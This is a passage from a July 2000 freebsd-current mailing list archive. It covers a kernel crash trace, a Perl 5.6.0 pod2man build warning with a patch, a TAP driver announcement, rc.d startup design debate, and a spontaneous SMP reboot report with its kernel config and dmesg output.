(frame=0xc7f00b50, usermode=0, eva=1166682308) at ../../i386/i386/trap.c:820 #4 0xc01def8b in trap (frame={tf_fs = 16, tf_es = 16, tf_ds = 16, tf_edi = 12, tf_esi = -940569568, tf_ebp = 572, tf_isp = -940569732, tf_ebx = 0, tf_edx = 4194304, tf_ecx = 0, tf_eax = 37, tf_trapno = 12, tf_err = 2, tf_eip = -1071778479, tf_cs = 572, tf_eflags = 262242, tf_esp = -1071468060, tf_ss = 285320}) at ../../i386/i386/trap.c:426 #5 0xc01df551 in trap_fatal (frame=Cannot access memory at address 0x244. ) at ../../i386/i386/trap.c:871 Cannot access memory at address 0x23c. (kgdb) up 4 #4 0xc01def8b in trap (frame={tf_fs = 16, tf_es = 16, tf_ds = 16, tf_edi = 12, tf_esi = -940569568, tf_ebp = 572, tf_isp = -940569732, tf_ebx = 0, tf_edx = 4194304, tf_ecx = 0, tf_eax = 37, tf_trapno = 12, tf_err = 2, tf_eip = -1071778479, tf_cs = 572, tf_eflags = 262242, tf_esp = -1071468060, tf_ss = 285320}) at ../../i386/i386/trap.c:426 426 (void) trap_pfault(&frame, FALSE, eva); (kgdb) quit 103 shadowmere ARSENIC # exit exit Script done on Mon Jul 10 17:42:43 2000 --0F1p//8PRICkK4MW-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 9:12:39 2000 Delivered-To: freebsd-current@freebsd.org Received: from mout1.freenet.de (mout1.freenet.de [194.97.50.132]) by hub.freebsd.org (Postfix) with ESMTP id 11EC337B511; Mon, 10 Jul 2000 09:12:28 -0700 (PDT) (envelope-from netchild@leidinger.net) Received: from [194.97.50.138] (helo=mx0.freenet.de) by mout1.freenet.de with esmtp (Exim 3.15 #1) id 13BgAU-0003BB-00; Mon, 10 Jul 2000 18:12:26 +0200 Received: from a3276.pppool.de ([213.6.50.118] helo=Magelan.Leidinger.net) by mx0.freenet.de with esmtp (Exim 3.15 #1) id 13BgAT-0005fN-00; Mon, 10 Jul 2000 18:12:25 +0200 Received: from Leidinger.net (netchild@localhost [127.0.0.1]) by Magelan.Leidinger.net (8.9.3/8.9.3) with ESMTP id RAA01696; Mon, 10 Jul 2000 17:51:47 +0200 (CEST) (envelope-from netchild@Leidinger.net) Message-Id: <200007101551.RAA01696@Magelan.Leidinger.net> Date: Mon, 10 Jul 2000 17:51:46 +0200 (CEST) From: Alexander Leidinger Subject: Perl 5.6.0 & pod2man & ports To: markm@freebsd.org Cc: current@freebsd.org, ports@freebsd.org MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, after the messages about the perl update have settled I decided to update my perl-ports (p5-*), but I get a warning (the "echo $(PATH)" below is inserted into the port Makefile by me). ---snip--- {0} [Magelan:/usr/ports/lang/p5-F77] (28) root@ttyp1# make configure ===> Extracting for p5-ExtUtils-F77-1.12 >> Checksum OK for ExtUtils-F77-1.12.tar.gz. ===> Patching for p5-ExtUtils-F77-1.12 ===> Configuring for p5-ExtUtils-F77-1.12 echo /sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin:/usr/games:/root/bin /sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin:/usr/games:/root/bin Checking if your kit is complete... Looks good Warning: I could not locate your pod2man program. Please make sure, your pod2man program is in your PATH before you execute 'make' Writing Makefile for ExtUtils::F77 {0} [Magelan:/usr/ports/lang/p5-F77] (29) root@ttyp1# ll /usr/bin/pod2man -r-xr-xr-x 1 root wheel 16613 Jul 8 22:03 /usr/bin/pod2man* ---snip--- This applys to many p5 ports. The world is from Jul 8 (what about adding the output of 'date' into the output of (build|install)world by default?), ports are from today (around 2pm). Is this something unresolved or is this related to my system only (is someone able to reproduce this)? Bye, Alexander. -- Weird enough for government work. http://www.Leidinger.net Alexander @ Leidinger.net GPG fingerprint = 7423 F3E6 3A7E B334 A9CC B10A 1F5F 130A A638 6E7E To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 9:33: 3 2000 Delivered-To: freebsd-current@freebsd.org Received: from axl.ops.uunet.co.za (axl.ops.uunet.co.za [196.31.2.163]) by hub.freebsd.org (Postfix) with ESMTP id E90F937B563; Mon, 10 Jul 2000 09:32:52 -0700 (PDT) (envelope-from sheldonh@axl.ops.uunet.co.za) Received: from sheldonh (helo=axl.ops.uunet.co.za) by axl.ops.uunet.co.za with local-esmtp (Exim 3.15 #1) id 13BgTm-000HpN-00; Mon, 10 Jul 2000 18:32:22 +0200 From: Sheldon Hearn To: Alexander Leidinger Cc: markm@FreeBSD.ORG, current@FreeBSD.ORG, ports@FreeBSD.ORG Subject: Re: Perl 5.6.0 & pod2man & ports In-reply-to: Your message of "Mon, 10 Jul 2000 17:51:46 +0200." <200007101551.RAA01696@Magelan.Leidinger.net> Date: Mon, 10 Jul 2000 18:32:22 +0200 Message-ID: <68532.963246742@axl.ops.uunet.co.za> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 10 Jul 2000 17:51:46 +0200, Alexander Leidinger wrote: > after the messages about the perl update have settled I decided to > update my perl-ports (p5-*), but I get a warning (the "echo $(PATH)" > below is inserted into the port Makefile by me). But you didn't update /usr/ports/Mk, did you? :-) Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 9:45:15 2000 Delivered-To: freebsd-current@freebsd.org Received: from coredump.lovett.com (hub.lovett.com [216.60.121.161]) by hub.freebsd.org (Postfix) with ESMTP id C2A7437B595; Mon, 10 Jul 2000 09:44:38 -0700 (PDT) (envelope-from ade@lovett.com) Received: from ade by coredump.lovett.com with local (Exim 3.15 #1) id 13BgfA-0005Tl-00; Mon, 10 Jul 2000 11:44:08 -0500 Date: Mon, 10 Jul 2000 11:44:08 -0500 From: Ade Lovett To: Sheldon Hearn Cc: Alexander Leidinger , markm@FreeBSD.ORG, current@FreeBSD.ORG, ports@FreeBSD.ORG Subject: Re: Perl 5.6.0 & pod2man & ports Message-ID: <20000710114408.C56401@FreeBSD.org> References: <200007101551.RAA01696@Magelan.Leidinger.net> <68532.963246742@axl.ops.uunet.co.za> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <68532.963246742@axl.ops.uunet.co.za>; from sheldonh@uunet.co.za on Mon, Jul 10, 2000 at 06:32:22PM +0200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Jul 10, 2000 at 06:32:22PM +0200, Sheldon Hearn wrote: > But you didn't update /usr/ports/Mk, did you? :-) This is nothing to do with parts of /usr/ports being out of date and has already been mentioned on both -ports and -current. From my -current box, which is most definitely up to date (both src/ and ports/ from 7/9): [choose random p5 port] coredump 278# make ===> Extracting for p5-Convert-UU-0.40 expr in free(): warning: modified (chunk-) pointer. >> Checksum OK for Convert-UU-0.40.tar.gz. ===> Patching for p5-Convert-UU-0.40 ===> Configuring for p5-Convert-UU-0.40 Checking if your kit is complete... Looks good Warning: I could not locate your pod2man program. Please make sure, your pod2man program is in your PATH before you execute 'make' Writing Makefile for Convert::UU ===> Building for p5-Convert-UU-0.40 [...] The following (untested, by me) patch from MANTANI Nobutaka apparently fixes this. --- /usr/src/contrib/perl5/lib/ExtUtils/MM_Unix.pm.orig Tue Jul 4 10:33:51 2000 +++ /usr/src/contrib/perl5/lib/ExtUtils/MM_Unix.pm Tue Jul 4 10:34:33 2000 @@ -1353,7 +1353,7 @@ if (defined $self->{PERL_SRC}) { $pod2html_exe = $self->catfile($self->{PERL_SRC},'pod','pod2html'); } else { - $pod2html_exe = $self->catfile($Config{scriptdirexp},'pod2html'); + $pod2html_exe = $self->catfile($Config{bin},'pod2html'); } unless ($pod2html_exe = $self->perl_script($pod2html_exe)) { # No pod2html but some HTMLxxxPODS to be installed @@ -2608,7 +2608,7 @@ if (defined $self->{PERL_SRC}) { $pod2man_exe = $self->catfile($self->{PERL_SRC},'pod','pod2man'); } else { - $pod2man_exe = $self->catfile($Config{scriptdirexp},'pod2man'); + $pod2man_exe = $self->catfile($Config{bin},'pod2man'); } unless ($pod2man_exe = $self->perl_script($pod2man_exe)) { # Maybe a build by uninstalled Perl? -aDe -- Ade Lovett, Austin, TX. ade@FreeBSD.org FreeBSD: The Power to Serve http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 10: 8:23 2000 Delivered-To: freebsd-current@freebsd.org Received: from grimreaper.grondar.za (grimreaper.grondar.za [196.7.18.138]) by hub.freebsd.org (Postfix) with ESMTP id F1DE737BDA0; Mon, 10 Jul 2000 10:08:02 -0700 (PDT) (envelope-from mark@grondar.za) Received: from grimreaper.grondar.za (localhost [127.0.0.1]) by grimreaper.grondar.za (8.9.3/8.9.3) with ESMTP id TAA65767; Mon, 10 Jul 2000 19:09:08 +0200 (SAST) (envelope-from mark@grimreaper.grondar.za) Message-Id: <200007101709.TAA65767@grimreaper.grondar.za> To: Ade Lovett Cc: Sheldon Hearn , Alexander Leidinger , markm@FreeBSD.org, current@FreeBSD.org, ports@FreeBSD.org Subject: Re: Perl 5.6.0 & pod2man & ports References: <20000710114408.C56401@FreeBSD.org> In-Reply-To: <20000710114408.C56401@FreeBSD.org> ; from Ade Lovett "Mon, 10 Jul 2000 11:44:08 EST." Date: Mon, 10 Jul 2000 19:09:07 +0200 From: Mark Murray Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > On Mon, Jul 10, 2000 at 06:32:22PM +0200, Sheldon Hearn wrote: > > But you didn't update /usr/ports/Mk, did you? :-) > > This is nothing to do with parts of /usr/ports being out of date > and has already been mentioned on both -ports and -current. Will fix now... M -- Mark Murray Join the anti-SPAM movement: http://www.cauce.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 10:29:45 2000 Delivered-To: freebsd-current@freebsd.org Received: from kcmso1.proxy.att.com (kcmso1.att.com [192.128.133.69]) by hub.freebsd.org (Postfix) with ESMTP id 562D837B65D for ; Mon, 10 Jul 2000 10:29:37 -0700 (PDT) (envelope-from myevmenkin@att.com) Received: from njb140r1.ems.att.com ([135.65.202.58]) by kcmso1.proxy.att.com (AT&T IPNS/MSO-2.2) with ESMTP id NAA13533 for ; Mon, 10 Jul 2000 13:29:35 -0400 (EDT) Received: from njb140bh1.ems.att.com by njb140r1.ems.att.com (8.8.8+Sun/ATTEMS-1.4.1 sol2) id NAA11767; Mon, 10 Jul 2000 13:28:26 -0400 (EDT) Received: by njb140bh1.ems.att.com with Internet Mail Service (5.5.2650.21) id <3352FD7T>; Mon, 10 Jul 2000 13:29:35 -0400 Message-ID: From: "Yevmenkin, Maksim N, CSCIO" To: "'freebsd-current@freebsd.org'" Subject: New version of TAP driver for FreeBSD -current Date: Mon, 10 Jul 2000 13:29:26 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="koi8-r" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello All, The new version of TAP driver for FreeBSD -current is available at http://home.earthlink.net/~evmax/tap-fbsd5.tar.gz Changes: - small bug fixes, code improvements and cleanup - man page (derived from tun(4)) - if_tap module can be unloaded now (works for me, but please test it) - standalone Makefile (to build module outside of main source tree) Long time back i sent request to the list and asked about including this driver into the source tree. i still did not receive any reply. Some people seems to be using this driver for Ethernet tunneling (with VTUN software). Somebody even requested for OpenBSD port. So it would be really nice to hear from one of the commiters. Thanks, emax To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 10:39:51 2000 Delivered-To: freebsd-current@freebsd.org Received: from mout1.freenet.de (mout1.freenet.de [194.97.50.132]) by hub.freebsd.org (Postfix) with ESMTP id 4DEAA37B516; Mon, 10 Jul 2000 10:39:41 -0700 (PDT) (envelope-from netchild@leidinger.net) Received: from [194.97.50.135] (helo=mx2.freenet.de) by mout1.freenet.de with esmtp (Exim 3.15 #1) id 13BhWi-0004ZZ-00; Mon, 10 Jul 2000 19:39:28 +0200 Received: from a2d90.pppool.de ([213.6.45.144] helo=Magelan.Leidinger.net) by mx2.freenet.de with esmtp (Exim 3.14 #3) id 13BhWh-0004Pr-00; Mon, 10 Jul 2000 19:39:28 +0200 Received: from Leidinger.net (netchild@localhost [127.0.0.1]) by Magelan.Leidinger.net (8.9.3/8.9.3) with ESMTP id TAA25927; Mon, 10 Jul 2000 19:15:32 +0200 (CEST) (envelope-from netchild@Leidinger.net) Message-Id: <200007101715.TAA25927@Magelan.Leidinger.net> Date: Mon, 10 Jul 2000 19:15:31 +0200 (CEST) From: Alexander Leidinger Subject: Re: Perl 5.6.0 & pod2man & ports To: ade@FreeBSD.org Cc: markm@FreeBSD.org, current@FreeBSD.org, ports@FreeBSD.org, Sheldon Hearn In-Reply-To: <20000710114408.C56401@FreeBSD.org> MIME-Version: 1.0 Content-Type: TEXT/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by Magelan.Leidinger.net id TAA25927 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 10 Jul, Ade Lovett wrote: >> But you didn't update /usr/ports/Mk, did you? :-) Only if ports-base isn't anymore in ports-all or my local CVS tree is messed up. But you didn't do an =BBgrep -i pod /usr/ports/Mk/*=AB, did you? :-) > This is nothing to do with parts of /usr/ports being out of date > and has already been mentioned on both -ports and -current. It was really mentioned on -current? Do you have a MessageID at hand (I haven't seen such a message, it would lead to the conclusion that my mailsystem is faulty (invariant: I haven't overlooked the message))? > The following (untested, by me) patch from > MANTANI Nobutaka apparently fixes this. I give it a try. Thanks, Alexander. --=20 Intel: where Quality is job number 0.9998782345! http://www.Leidinger.net Alexander @ Leidinger.net GPG fingerprint =3D 7423 F3E6 3A7E B334 A9CC B10A 1F5F 130A A638 6E7E To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 10:47:50 2000 Delivered-To: freebsd-current@freebsd.org Received: from galileo.physics.purdue.edu (galileo.physics.purdue.edu [128.210.67.225]) by hub.freebsd.org (Postfix) with ESMTP id 9B22B37B591; Mon, 10 Jul 2000 10:47:38 -0700 (PDT) (envelope-from will@almanac.yi.org) Received: from argon.gryphonsoft.com (mobile-4-146.physics.purdue.edu [128.210.146.108]) by galileo.physics.purdue.edu (8.9.2/8.9.2) with ESMTP id MAA57810; Mon, 10 Jul 2000 12:47:24 -0500 (EST) (envelope-from will@almanac.yi.org) Received: by argon.gryphonsoft.com (Postfix, from userid 1000) id 7D5C819EE; Mon, 10 Jul 2000 13:44:44 -0400 (EDT) Date: Mon, 10 Jul 2000 13:44:44 -0400 From: Will Andrews To: Alexander Leidinger Cc: ade@FreeBSD.ORG, markm@FreeBSD.ORG, current@FreeBSD.ORG, ports@FreeBSD.ORG, Sheldon Hearn Subject: Re: Perl 5.6.0 & pod2man & ports Message-ID: <20000710134444.D7475@argon.gryphonsoft.com> References: <20000710114408.C56401@FreeBSD.org> <200007101715.TAA25927@Magelan.Leidinger.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <200007101715.TAA25927@Magelan.Leidinger.net>; from Alexander@Leidinger.net on Mon, Jul 10, 2000 at 07:15:31PM +0200 X-Operating-System: FreeBSD 5.0-CURRENT i386 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Jul 10, 2000 at 07:15:31PM +0200, Alexander Leidinger wrote: > Only if ports-base isn't anymore in ports-all or my local CVS tree is ports-base was/has never [been] in ports-all, for some strange reason. -- Will Andrews GCS/E/S @d- s+:+>+:- a--->+++ C++ UB++++ P+ L- E--- W+++ !N !o ?K w--- ?O M+ V-- PS+ PE++ Y+ PGP+>+++ t++ 5 X++ R+ tv+ b++>++++ DI+++ D+ G++>+++ e->++++ h! r-->+++ y? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 10:48: 7 2000 Delivered-To: freebsd-current@freebsd.org Received: from apollo.ocsny.com (apollo.ocsny.com [204.107.76.2]) by hub.freebsd.org (Postfix) with ESMTP id 09BE437B68B for ; Mon, 10 Jul 2000 10:48:01 -0700 (PDT) (envelope-from mikel@ocsny.com) Received: from ocsny.com (thoth.upan.org [204.107.76.16]) by apollo.ocsny.com (8.9.2/8.9.3) with ESMTP id NAA14514; Mon, 10 Jul 2000 13:46:52 -0400 (EDT) Message-ID: <396A0D70.1B007DDE@ocsny.com> Date: Mon, 10 Jul 2000 13:52:48 -0400 From: Mikel Organization: Optimized Computer Solutions, Inc. X-Mailer: Mozilla 4.73 [en] (Win98; U) X-Accept-Language: en,it MIME-Version: 1.0 To: Johan Granlund Cc: Kelly Yancey , Mike Meyer , current@FreeBSD.ORG Subject: Re: etc/rc.d & things... References: Content-Type: multipart/mixed; boundary="------------E9B29B2B76BE951244D5E69C" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. --------------E9B29B2B76BE951244D5E69C Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Johan, I quite agree that in the simple but better approach of rc.conf (BSD). However I like the idea of a configurable, directory driven approach to the shutdown. I would be apposed to sysV style rc.d's as I really don't think they provide anything but confusion. At the ISP where I work the BSD model is far easier to maintain. Personally far easier than the solaris, hp-ux, and linux machines we've had in the past.... Johan Granlund wrote: > Please Please Please _Dont_!!! > > I dont know if someone is yoking, my english is not up to that :( > > I tried to secure a Solaris machine and hated the whole setup. I't have > some good things but i take the simple rc.conf mechanism every time! > > /Johan > > On Mon, 10 Jul 2000, Mikel wrote: > > > > > > > Kelly Yancey wrote: > > > > > On Sat, 8 Jul 2000, Mike Meyer wrote: > > > > > > > > By all means, use start/stop args, but hard link the .sh files into seperate > > > > > directories or something so that the order can be tweaked.. > > > > > > > > If all you want is to make sure that shutdown happens in the reverse > > > > order of startup, that can be done by reversing the list in > > > > rc.shutdown. But how about going a step further, and starting towards > > > > a user-friendly configuration process? > > > > > > > > Instead of being globbed at init time, etc/rc.d is a repository for > > > > things that take start/stop arguments. They are symlinked to > > > > /etc/init.d with numeric prefixes to control order at initialization > > > > time. Likewise, they can be symlinked to /etc/down.d (or shutdown.d) > > > > with numeric prefixes to control order at shutdown time. > > > > > > > > > > How about rather then separate directories, you prefix the symlink names > > > with 'S' for startup scripts and 'K' (for "kill") for shutdown scripts. Then, > > > you rename rc.d to rc3.d... > > > > I like it. It's clean and simple, almost to the point of being elegant. But why > > bother adding rc?.d if you are going to right it to handle s or k then the present > > home should be fine, no? > > > > > > > > > > > > > Ducks and runs, > > > > > > Kelly > > > > > > -- > > > Kelly Yancey - kbyanc@posi.net - Belmont, CA > > > System Administrator, eGroups.com http://www.egroups.com/ > > > Maintainer, BSD Driver Database http://www.posi.net/freebsd/drivers/ > > > Coordinator, Team FreeBSD http://www.posi.net/freebsd/Team-FreeBSD/ > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > > with "unsubscribe freebsd-current" in the body of the message > > > > -- > > Cheers, > > Mikel > > +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+ > > | Optimized Computer Solutions, Inc http://www.ocsny.com > > | 39 W14th Street, Suite 203 212 727 2238 x132 > > | New York, NY 10011 > > +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+ > > > > -- Cheers, Mikel +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+ | Optimized Computer Solutions, Inc http://www.ocsny.com | 39 W14th Street, Suite 203 212 727 2238 x132 | New York, NY 10011 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+ --------------E9B29B2B76BE951244D5E69C Content-Type: text/x-vcard; charset=us-ascii; name="mikel.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Mikel Content-Disposition: attachment; filename="mikel.vcf" begin:vcard n:King;Mikel tel;fax:2124638402 tel;home:http://www.upan.org tel;work:2127272100 x-mozilla-html:TRUE org:Optimized Computer Solutions version:2.1 email;internet:mikel@ocsny.com title:Director of Network Operations & Technology adr;quoted-printable:;;39 W14th St.=0D=0ASte 203;New York;NY;10011;US note;quoted-printable:fBSD, PHP, MySql and OCS Rule!!!=0D=0A=0D=0AGoal is to be MS free by the end of 2k. x-mozilla-cpt:;7312 fn:Mikel King end:vcard --------------E9B29B2B76BE951244D5E69C-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 11: 0:12 2000 Delivered-To: freebsd-current@freebsd.org Received: from mimer.webgiro.com (mimer.webgiro.com [212.209.29.5]) by hub.freebsd.org (Postfix) with ESMTP id 0E8C337B63B for ; Mon, 10 Jul 2000 11:00:07 -0700 (PDT) (envelope-from abial@webgiro.com) Received: by mimer.webgiro.com (Postfix, from userid 66) id ABDBB2DC0A; Mon, 10 Jul 2000 20:05:39 +0200 (CEST) Received: by mx.webgiro.com (Postfix, from userid 1001) id 50D797817; Mon, 10 Jul 2000 19:58:49 +0200 (CEST) Received: from localhost (localhost [127.0.0.1]) by mx.webgiro.com (Postfix) with ESMTP id 427A910E17; Mon, 10 Jul 2000 19:58:49 +0200 (CEST) Date: Mon, 10 Jul 2000 19:58:49 +0200 (CEST) From: Andrzej Bialecki To: "Daniel C. Sobral" Cc: freebsd-current@FreeBSD.ORG Subject: Re: etc/rc.d & things... In-Reply-To: <3969D84A.D23A84B6@newsguy.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 10 Jul 2000, Daniel C. Sobral wrote: > This has been talked to death. Look at these: > > http://www.freebsd.org/~dfr/devices.html > http://www.freebsd.org/~eivind/newrc.html > > and my favorite substitute proposal: > > http://www.roguetrader.com/~brandon/sas/. I really like the ideas in the last one. The pages were not updated for some time - do you know if the author still works on it? Andrzej Bialecki // WebGiro AB, Sweden (http://www.webgiro.com) // ------------------------------------------------------------------- // ------ FreeBSD: The Power to Serve. http://www.freebsd.org -------- // --- Small & Embedded FreeBSD: http://www.freebsd.org/~picobsd/ ---- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 11: 2:15 2000 Delivered-To: freebsd-current@freebsd.org Received: from maynard.mail.mindspring.net (maynard.mail.mindspring.net [207.69.200.243]) by hub.freebsd.org (Postfix) with ESMTP id 1804937B546 for ; Mon, 10 Jul 2000 11:02:06 -0700 (PDT) (envelope-from tomdean@ix.netcom.com) Received: from ix.netcom.com (sil-wa17-31.ix.netcom.com [207.93.156.31]) by maynard.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id OAA25618 for ; Mon, 10 Jul 2000 14:01:58 -0400 (EDT) Received: (from tomdean@localhost) by ix.netcom.com (8.9.3/8.9.3) id LAA08016; Mon, 10 Jul 2000 11:01:51 -0700 (PDT) (envelope-from tomdean@ix.netcom.com) Date: Mon, 10 Jul 2000 11:01:51 -0700 (PDT) Message-Id: <200007101801.LAA08016@ix.netcom.com> X-Authentication-Warning: celebris.tddhome: tomdean set sender to tomdean@ix.netcom.com using -f From: "Thomas D. Dean" To: freebsd-current@freebsd.org Subject: Current Spontaneous Reboot Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I just experienced a sudden reboot. I am running -current SMP. Cvsup, make world, rebuild kernel 20000709. # uname -a FreeBSD celebris 5.0-CURRENT FreeBSD 5.0-CURRENT #0: \ Sun Jul 9 18:05:19 PDT 2000 \ root@celebris:/usr/src/sys/compile/CELEBRIS-SMP i386 The system was very lightly loaded. I was running emacs creating a shell script. When the reboot happened, I was attempting to go up the tcsh history chain. I pressed the up arrow several times and the system froze for a few seconds and rebooted. It did not drop into the debugger. I have options DDB options KTRACE #kernel tracing in the config. After the 'world and new kernel on 20000709, I did a 'make world' on 20000710, testing stability. No problems, although the time increased by an hour to 9 hours. tomdean ===== config ==================================== # # CELEBRIS-SMP # machine i386 cpu I586_CPU ident CELEBRIS hints "CELEBRIS.hints" maxusers 50 ################################################################## # # options from mptable # #MPTable, version 2.0.11 # #-------------------------------------------------------------------------- # #MP Floating Pointer Structure: # # #location: EBDA # physical address: 0x0009fc30 # signature: '_MP_' # length: 16 bytes # version: 1.1 # checksum: 0x55 # mode: Virtual Wire # #-------------------------------------------------------------------------- # # MP default config type: 5 # # bus: ISA+PCI, APIC: Integrated # #-------------------------------------------------------------------------- # # SMP kernel config file options: # Required: options SMP # Symmetric MultiProcessor Kernel options APIC_IO # Symmetric (APIC) I/O # Lets always enable the kernel debugger for SMP. options DDB #makeoptions DEBUG=-g ################################################################## options INET #InterNETworking options FFS #Berkeley Fast Filesystem options FFS_ROOT #FFS usable as root device options NFS #Network Filesystem options MSDOSFS #MSDOS Filesystem options "CD9660" #ISO 9660 Filesystem options PROCFS #Process filesystem options "COMPAT_43" #Compatible with BSD 4.3 [KEEP THIS!] options SCSI_DELAY=10000 #Be pessimistic about Joe SCSI device options UCONSOLE #Allow users to grab the console options MSGBUF_SIZE=(10*PAGE_SIZE) #System Message Buffer Size options SYSVSHM # for X11 options SYSVSEM # for X11 options SYSVMSG # for X11 options RANDOMDEV #entropy device #options PSM_CHECKSYNC # resync when switch console modes #config kernel root on da1 device isa device pci options COMPAT_OLDPCI #Use PCI shims and glue for old drivers device fdc # # FDC_DEBUG enables floppy debugging. Since the debug output is huge, you # gotta turn it actually on by setting the variable fd_debug with DDB, # however. options FDC_DEBUG #tape ft0 at fdc0 drive 2 device ncr device scbus device da # SCSI Direct Access Device device sa # SCSI Tape device cd #Only need one of these, the code dynamically grows # The keyboard device; it controlls the keyboard and the PS/2 mouse. device atkbdc # The AT keyboard device atkbd # `flags' for atkbd: # 0x01 Force detection of keyboard, else we always assume a keyboard # 0x02 Don't reset keyboard, useful for some newer ThinkPads # 0x04 Old-style (XT) keyboard support, useful for older ThinkPads device psm # The video card driver. device vga # Splash screen at start up! Screen savers require this too. device splash # syscons is the default console driver, resembling an SCO console device sc device npx device sio device sio # Parallel-Port Bus # nlpt Parallel Printer device ppbus device lpt device ppc device de # DEC DC21040 Ethernet Adapter device loop device ether device tun 1 device bpf 4 #Berkeley packet filter device vn #Vnode driver (turns a file into a device) device snp 3 #Snoop device - to look at pty/vty/etc.. device pty 16 device gzip # Exec gzipped a.out's # KTRACE enables the system-call tracing facility ktrace(2). # This adds 4 KB bloat to your kernel, and slightly increases # the costs of each syscall. options KTRACE #kernel tracing ===== dmesg ==================================== Copyright (c) 1992-2000 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 5.0-CURRENT #0: Sun Jul 9 18:05:19 PDT 2000 root@celebris:/usr/src/sys/compile/CELEBRIS-SMP Timecounter "i8254" frequency 1193182 Hz CPU: Pentium/P54C (102.68-MHz 586-class CPU) Origin = "GenuineIntel" Id = 0x525 Stepping = 5 Features=0x3bf real memory = 100663296 (98304K bytes) avail memory = 94851072 (92628K bytes) Programming 16 pins in IOAPIC #0 IOAPIC #0 intpin 2 -> irq 0 FreeBSD/SMP: Multiprocessor motherboard cpu0 (BSP): apic id: 0, version: 0x00030010, at 0xfee00000 cpu1 (AP): apic id: 1, version: 0x00030010, at 0xfee00000 io0 (APIC): apic id: 2, version: 0x000f0011, at 0xfec00000 Preloaded elf kernel "kernel" at 0xc02fb000. Preloaded userconfig_script "/boot/kernel.conf" at 0xc02fb09c. Intel Pentium detected, installing workaround for F00F bug npx0: on motherboard npx0: INT 16 interface pcib0: on motherboard pci0: on pcib0 pci0: at 0.0 ncr0: port 0xec00-0xecff mem 0xfedfbf00-0xfedfbfff irq 11 at device 1.0 on pci0 isab0: at device 2.0 on pci0 isa0: on isab0 pci0: at 6.0 irq 9 de0: port 0xe880-0xe8ff mem 0xfedfbe80-0xfedfbeff irq 10 at device 8.0 on pci0 de0: DEC DE450-CA 21041 [10Mb/s] pass 1.1 de0: address 00:00:f8:02:76:db vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 sc0: on isa0 sc0: VGA <16 virtual consoles, flags=0x200> atkbdc0: at port 0x60,0x64 on isa0 atkbd0: irq 1 on atkbdc0 psm0: irq 12 on atkbdc0 psm0: model Generic PS/2 mouse, device ID 0 fdc0: at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: <1440-KB 3.5" drive> on fdc0 drive 0 ppc0: at port 0x378-0x37b irq 7 on isa0 ppc0: Generic chipset (NIBBLE-only) in COMPATIBLE mode lpt0: on ppbus0 lpt0: Interrupt-driven port isa0: <@@@0000> found sio0 at port 